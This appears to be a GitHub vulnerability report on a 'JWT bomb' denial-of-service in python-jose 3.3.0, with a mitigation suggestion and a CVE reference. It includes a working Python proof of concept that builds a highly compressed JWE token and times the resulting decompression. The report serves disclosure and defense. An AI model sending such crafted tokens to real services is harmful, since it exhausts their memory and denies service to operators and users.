-
Notifications
You must be signed in to change notification settings - Fork 251
Description
JWT bomb Attack in decode function
0x01 Affected version
vendor: https://github.com/mpdavis/python-jose
version: 3.3.0
0x02 What kind of vulnerability is it? Who is impacted?
This vulnerability allows an attacker to cause a Denial-of-Service (DoS) condition by crafting a malicious JSON Web Encryption (JWE) token with an exceptionally high compression ratio. When this token is processed by the server, it results in significant memory allocation and processing time during decompression.
0x03 Vulnerability details
The Proof of Concept (PoC) below demonstrates how this vulnerability can lead to a DoS attack:
from jose import jwe
import time
s = '{"u": "' + "u" * 40000000 + '", "uu":"' + "u" * 40000000 + '"}'
print(len(s))
v1 = jwe.encrypt(s, b'asecret128bitkey', algorithm='A128KW', zip='DEF', encryption='A128GCM')
print(len(v1))
begin = time.time()
jwe.decrypt(v1, b'asecret128bitkey')
print(time.time() - begin)
s = '{"u": "' + "u" * 40000 + '", "uu":"' + "u" * 40000 + '"}'
v2 = jwe.encrypt(s, b'asecret128bitkey', algorithm='A128KW', encryption='A128GCM')
begin = time.time()
print(len(v2))
jwe.decrypt(v2, b'asecret128bitkey')
print(time.time() - begin)
This vulnerability is demonstrated by comparing the processing times of a compressed token to an uncompressed token of the same length. The compressed token's processing time is significantly higher, showcasing the vulnerability's potential impact.
0x04 Mitigation
To mitigate this vulnerability, it is recommended to limit the maximum token length to 250K. This approach has also
been adopted by the JWT library System.IdentityModel.Tokens.Jwt used in Microsoft Azure [1], effectively preventing
attackers from exploiting this vulnerability with high compression ratio tokens.
0x05 References
[1] CVE-2024-21319